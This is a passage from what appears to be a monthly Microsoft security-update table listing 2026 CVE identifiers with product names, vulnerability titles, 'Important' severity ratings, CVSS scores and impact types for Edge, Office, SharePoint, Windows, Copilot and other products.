CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for 